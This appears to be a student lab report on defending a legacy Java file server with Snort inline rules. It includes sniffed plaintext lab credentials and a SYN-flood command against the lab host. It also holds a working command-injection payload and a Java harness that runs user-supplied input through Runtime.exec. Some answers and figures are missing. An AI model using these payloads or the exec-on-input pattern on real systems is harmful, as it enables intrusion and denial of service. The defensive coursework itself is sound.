---
title: OffTech Snort Memo
author: Máté Eckl, Dominik Köhler, Cristian Rotari
---

# An explanation of how Snort can be used to protect legacy systems

**Author:** Dominik Koehler

Snort is an intrusion prevention system, which is open source and capable of performing real-time traffic analysis and packet logging on IP networks. It can perform multiple tasks and analysis like:
- protocol analysis
- content matching

and detection of attacks like:
- buffer overflows
- stealth port scans
- CGI attacks
- SMB probes
- OS fingerprinting attempts

The mentioned functions are only examples and the capabilities of the software are far more advanced. The primary uses of SNORT can be described as a straight packet sniffer, like tcpdump, logging traffic as a packet logger or as an Intrusion prevention system. The availability of SNORT as an open source system made it very popular in the cyber security community and is one of the strength points of SNORT. Under websites like snort.org, users can get new informations really quick and support if necessary.

One prominent company which is using SNORT is FireEye, Inc., an US based cyber security firm. It is often called in by bigger US companies to investigate attacks on their infrastructure. Also the company constantly tries to find new vulnerabilities for example CVE-2014-4148 and CVE-2014-4113 - which were aiming for high sensitive information and were probably used by a state group under the cover of the name FIN4.[^fireeye-src].
[^fireeye-src]:
Sources:
- https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html

# Answers the questions found within each section.

The numbering in the original task is a bit chaotic, there are two questions for number 5 and 6. Therefore we leave question numbers out from here.

## Snort without rules

**Author:** Eckl, Rotari, Koehler

Commands run on `snort`:

ip route show 10.1.1.0/24 # Find out the interface towards client1
sudo snort --daq nfq -Q -v
sudo tcpdump -i eth5 -s 0 -w dump-snort.pcap
sudo /share/education/SecuringLegacySystems_JHU/process.pl dump-snort.pcap

### What happens to the traffic to client1 when Snort is not running?

Without Snort running, the packets do not reach the server, they get dropped on `snort` node.

### Is this a good thing?

As we are talking about legacy applications being unprepared against attacks, it is definitely a good thing.

### Based on Snort's output what can you say about the application? What port does it connect to?

The application connects to a TCP server on port `7777`. Based on Snort's output there is not much more we can see. There are only header data.

### Please attach a graph of the traffic over time to your answers


### What does the "-Q" option do in Snort?

       -Q     Enable inline mode operation.

It allows snort to act as an interceptor for traffic between two network segments. Thanks to the `NFQUEUE` target in iptables, it receives every network packet that is being forwarded through the node, and it can make the decision of accepting it or dropping it. As such, Snort doesn't act like a proxy but more like a packet regulator[^snortregulator-src].
[^snortregulator-src]:
Sources:
- http://sublimerobots.com/2016/02/snort-ips-inline-mode-on-ubuntu/
- https://home.regit.org/netfilter-en/using-nfqueue-and-libnetfilter_queue/

### What does the "--daq nfq" option do in Snort?

--daq <type>
              Select packet acquisition module (default is pcap).

It changes the way of packet acquisition[^snort-ackquisition-src]. The default packet acquisition method is `pcap` which uses the library behind tcpdump to capture traffic. Though, we suppose that it is not suitable for inline mode, as it only *captures* traffic, but it is not designed for active interception. Instead the `NFQ` module implements the interface to deal with traffic from the Linux netfilter subsystem, thus is suitable for active packet treatment.

[^snort-ackquisition-src]:
Source: http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node7.html

---

## Analyze network traffic

**Author:** Eckl

Commands run on `router`:

ip route show 10.1.1.0/24 # The task description is wrong 10.0.1.0/24 is not present in the network
sudo tcpdump -i eth7 -s 0 -w dump-router.pcap

### The request that the client sends the server is broken into four parts. What are these parts and what order does they appear in? How are these parts seperated in the request?

Actually most of the TCP sessions only contain two requests, sometimes three.


In this figure we can see that of those segments that actually carry data, only two are going *from* the client *to* the server. So as empty segments cannot be considered requests -- at least not from the application's point of view -- we must say that there are less than four requests in every session.

The first request in every case is a 4-byte code -- actually always `0xaced0005` (without respect to endianness) in our case --, which we suspect to be some kind of coding notification. This may be used to determine the correct newline character or other attributes that can change the processing of uploaded and downloaded data.

The second request always contains strings which look like user credentials (username and password) and a file name and other data which does not make sense for the bare human eyes. These can be parameters setting the operation (read, write, delete), communication parameters, etc.

In case there is a third request, it continues the human-unreadable part of the request.

### Is this is a secure way for the client to send requests to the server? Explain your answer.

It is not. Most of all, because the user name and the corresponding password is human readable for anyone who manages to intercept the traffic. For example, there is a user called `billy` with the pasword `thursday`.
Apart from this, the data itself is also readable which maybe confidential as well.

**Note:** This security issue has nothing to do with how many requests do the client send to the server. It comes from the lack of encryption of the data stream.

### Can you recover one of the files sent by the server to a client? If so attach the file, a pcap the relevant packets and indicate which client this was sent to.


With Wireshark, it is easy to recover the content of any downloaded file along with the user credentials requested.

- Client IP: `10.1.5.11`
- Client name: `client2`
- Username: `billy`
- Password: `thursday`
- File name: `users.txt`
- Content:

	bob
	password
	joe
	password1
	candice
	monday
	sam
	apple
	billy
	thursday

To get the relevant packets, open `Raw/dump-router.pcap` in the submission directory, and use the following display filter: `tcp.stream eq 10`.

---

## Write rules to guard against simple requests

**Author:** Eckl

Commands run on `snort`:

mkdir alerts
sudo snort --daq nfq -Q -c snort.config -l alerts

Commands run on `client1`, `client2`, `outsider`:

cd /home/test
rm *.{txt,xml}
watch ls *.{txt,xml}

File list before applying the rules:

classified.txt	ducky.txt  export.txt  export.xml  users.txt

File list on clients after applying the rule:

classified.txt   ducky.txt   export.txt   users.txt

File list on `outsider` after applying the rule:

ducky.txt   export.txt   users.txt

### What rule did you use to secure the "classified" file?

reject tcp 100.1.200.10 ANY -> 100.1.10.10 7777 (msg: "Classified file request from outsider"; sid:2; content:"classified";)
reject tcp ANY ANY -> 100.1.200.10 ANY (msg: "Classified file send attempt to outsider detected"; sid:3; content:"classified";)

We actually propose two rules for it. The first prevents outsider from even requesting the classified files. This is necessary because the responses -- or file transfers without request -- do not contain the name of the file. So this makes it possible to reject transfers when a file *named* classified is requested.

The second is necessary because the task asks for a rule that prevents this content from *being sent* to the outsider computer. This will actually prevent even any clients from sending this information to outsider.

### Capture and compare the network traffic for the `server` when filtering these results using your configuration file and when no file is used. Attach the graph showing packet rate over time for both of these cases to your submission.

Snort:

sudo snort --daq nfq -Q
sudo snort --daq nfq -Q -c snort.config -l alerts

Server:

sudo tcpdump -i eth4 -w server-snort-nofilter.pcap
sudo tcpdump -i eth4 -w server-snort-xml-classified-filter.pcap
sudo /share/education/SecuringLegacySystems_JHU/process.pl \
	server-snort-nofilter.pcap > server-snort-nofilter.csv
sudo /share/education/SecuringLegacySystems_JHU/process.pl \
	server-snort-xml-classified-filter.pcap > server-snort-xml-classified-filter.csv



### Can you think of any others files or extensions that should be filtered against?

The executable file of the server and the `users.txt` file should definitely be filtered against.

---

# Intermediate Tasks

## DOS Defense

**Author:** Rotari

Commands run on `client1`:

/share/education/TCPSYNFlood_USC_ISI/install-flooder

### Collect the traffic at the server and the router when there is and is not an attack with rules in place that only guard against the attacks metioned in the basic exercises. Create a graph of this traffic over time.

Capture the traffic on server side:

sudo tcpdump -i eth0 -s 0 -w /tmp/dump.pcap

Capture the traffic on router:

sudo tcpdump -i eth0 -s 0 -w /tmp/dump.pcap

Turn on snort with configuration file:

sudo snort --daq nfq -Q -c snort.config -l alerts

Attack the server with flooder from `client1`:

sudo flooder --dst 100.1.10.10 --proto 6 --src 100.1.0.0 --dportmin 7777 --dportmax 7777 --srcmask 255.255.0.0 --highrate 100000

Server traffic with a 10 second attack without filtering rules:

Router traffic with a 10 second attack without filtering rules:

### Repeat the previous step but now with the rate filtering rules enabled.

Add the filtering and event rule to the snort.config file:

pass tcp 100.1.0.0/16 ANY -> 100.1.10.10 ANY (msg: "Any traffic to server"; sid:4;)
rate_filter gen_id 1, sig_id 4, track by_dst, count 20, seconds 1, new_action drop, timeout 5
event_filter gen_id 1, sig_id 4, track by_dst, count 1, seconds 60, type limit

The rate and event filter can be configured to track packets by source address. This option is beneficial because legitimate clients will be able to access the server in case of an attack, but has the disadvantage of being vulnerable to DDOS attacks.

In order for these rules to have effect, the previous 2 rules have to be commented out, otherwise the server gets flooded with RST. packets for an unknown reason.

Server traffic with filtering rules and 10 second attack:


Router traffic with filtering rules and 10 second attack:


### For a DOS attack should rate filtering rules be paired with event filtering rules?

It is required to pair the rate filters with event filters, because in the case of a DOS attack, there could be many matches that will cause the need to log the event. Therefore, the attack can become a burden on the snort device that has to log each match, thing that could lead to run up of memory and available recources. Event filters in this case will limit how many events will be logged per period of time.

### Try changing the new action in the rate filter to "reject" instead of "drop". What does this do to the traffic and why do you think this is? Is this a good or a bad thing?

Changing the new action to reject instead of drop should make the snort node send RST packets back to the source address and log the packet, while drop logs the packet without sending anything back.[^rule-actions]. This results in the snort node sending back a lot of RST packets, which doubles the traffic in the client LAN. This is a bad thing because the node has a big load of packets that it needs to send, which results in using many computational resources and potentially flood the data connection. Unfortunately, in our experiment, the snort node does not send back RST packets for some reason and there is no difference between reject or drop. Dropping the packets is a better protection against DOS attacks, but has the disadvantage of making legitimate users wait for a long time in case of connection problems.

[^rule-actions]:
Rules Actions:
- http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node29.html

### Check which interface Snort connects to the router to using ifconfig. Once you have this information try the above test against while specifying that interface instead of using the default value. This argument will look something like --daq-var device=eth1. Did this change your results. If so attach a graph and explain the change occured.

The daq-var argument lets you define a variable, and most probably ends up specifying the interface to listen to. As snort is the bridge between 2 LANs, it has only 2 possible interfaces, both representing the same connection.
In our case, specifying the interface did not change the traffic and results, neither on the server or router side

### Are there any changes you can make outside of Snort to help guard against this attack? If so what are they?

One can implement SYN cookies on the server side, which would protect from SYN flood attacks in case Snort fails to.

### Try running the FileClient program from client2 while this attack is underway. What happens when you have the various rulesets configured?

The FileClient program retrieves the mentioned file by giving the correct credentials. By running it with `java -jar FileClient.jar bob password server export.txt` during attack time, the file is not received because we configured Snort node to drop all packets going to the server for the next 5 seconds after the attack detection. In this way, the legitimate clients are not able to access the server functionality, which resembles the behavior of a DOS attack.

---

## Secure Traffic on the Network

**Author:** Eckl

### Based on the traffic you analyzed what changes could be made to the network to enhance the security of communications coming from client1, client2 and outsider?

Some encription should be implemented in any case between the server and any clients to prevent malicious actors from snooping on the traffic which is now all plain-text. TLS is a great candidate as it is relatively easy to apply to any TCP based communication.

### What software packages would this require and where should these be installed? Would this cause problems for Snort?

To enable TLS, the openssl package is a good candidate to be installed to both the clients and the server. As the principle is not to modify the server, it will also be necessary to install an application reverse proxy somewhere (like nginx can be in case of HTTP) which terminates the TLS sessions on the server side.

It can cause a problem for the actually installed snort instance, but in the right architecture, we can still make snort able to read traffic in plain-text.

If we put the above mentioned proxy between the Lan2 switch and the server, it can be the end of the TLS sessions, then between the proxy and the server, we can add a new snort instance. As a result, snort would still see all the traffic, but noone else would.

### How should the server be configured to prevent internal attacks?

If we implement the above describe architecture (with the proxy and the new snort instance), that will be enough from the architecture perspective to defend against internal attacks.

This way the server does not need extra configuration.

### Would this require you to change your Snort configuration in any way?

The instance outside of Lan2 should be more permissive in the direction of the server, it wouldn't see much of the traffic content anyway.

The instance inside the LAN should be restrictive not only to traffic from outsede, but also to the internal node(s).

---

# Advanced tasks

## Code Execution Vulnerability

**Author:** Dominik Koehler

### What are the conditions required for this attack to take place?

First I downloaded the .jar file from the server and decompiled it, to get the source code. There were two files, one called ConnectionHandler.java and the other one FileServer.java. First I looked at the ConnectionHandler file which has a vulnerability, which is vulnerable to a big payload which can be injected as user input. The sever splits the input of the user into different parts. One of the substrings, called dividedData[2] is executeable. After finding the vulnerability in the Java code, I copied the code and create another file to test out my exploits. The trick was to find out the regex meanings and then creating an exploit which would be in dividedData[2].
The use of the regex and then the long buffer plus the command in dividedData[2] can be found here.

String payload = "ziaeqjr[long exploit with more then 2100 characters]!:.:!asdasdasd!:.:!ls!:.:!ziaeqjrziaeqjr"; 

import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Calendar;
import javax.net.ServerSocketFactory;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;

public class pyld {

    public static void main(String[] args) {
        // objects are treated like variable-length arrays that contain a sequence of characters.
        // https://docs.oracle.com/javase/tutorial/java/data/buffers.html
        StringBuilder sb = new StringBuilder();
        String payload = "ziaeqjrziaeqjrsssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss!:.:!asdasdasd!:.:!ls!:.:!ziaeqjrziaeqjr";
        sb.append(payload);

        // creating String data to be able to split it later
        String data = sb.toString();

        // Split a string into an array of substrings - in this case into maximum of 4 segments seperated by a delimeter
        String[] dividedData = data.split("!:.:!", 4);

        System.out.print("User: " + dividedData[0] + "\nPassword: " + dividedData[1] + "\nFile Request: " + dividedData[2] + "\n");

        System.out.print(dividedData[3].substring(0, 4) + "\n");

        try {
            // Regex expression can be found here
            // valid with zeaoqur, ziaeqjr
            // z. is necessary Match between 0,2 of the preceeding token
            String[] splitData = data.split("z.{0,2}a.{0,2}q.{0,2}r");
            if (splitData.length > 1 && data.length() > 2000) {
                System.out.print("Executing command " + dividedData[2] + "\n");
                Runtime.getRuntime().exec(dividedData[2]);
                Process proc = Runtime.getRuntime().exec(dividedData[2]);
                BufferedReader stdInput = new BufferedReader(new
                        InputStreamReader(proc.getInputStream()));
                // Read the output from the command
                System.out.println("Here is the standard output of the command:\n");
                String s = null;
                while ((s = stdInput.readLine()) != null) {
                    System.out.println(s);
                }
            }
        } catch (Exception e) {
            System.err.print("Failed to execute command");
        }
    }
}

I used ```javac pyld.java``` to compile the java code and ```java pyld``` to execute the file.

### Create a Snort rule to defend against this attack. You may want to be use pcre instead of content for this rule.
As there was a rule change from Snort 2 to Snort 3 there is a new syntax.

After thinking about the rule, I thought about using a length check to look for requests which are longer then 2000.

### What effect does this rule have on legitimate traffic?

From what I understand the rule would prevent input to be longer that 2000 characters to be executed, so the exploit could not get exploited anymore.

The effect on regular traffic would be, that really long commands would be accepted anymore. I though think there is a smarter alternative to create a more finegrading rule.

---

## Defend Against ASCII Encoding

**Author:**

### Were you able to bypass your existing rules because of this feature? If so what input strings did you use?

### Can you think of a content rule to effectively defend against an attack that uses this feature? Would this affect legitimate traffic?

### Snort includes support for user written preprocessors that can render data for Snort's other rules. How would the use of a preprocessor help with this task?

### Write a preprocessor to help with this task. Please attach all of the functions you used and the snort.config file that called the preprocessor.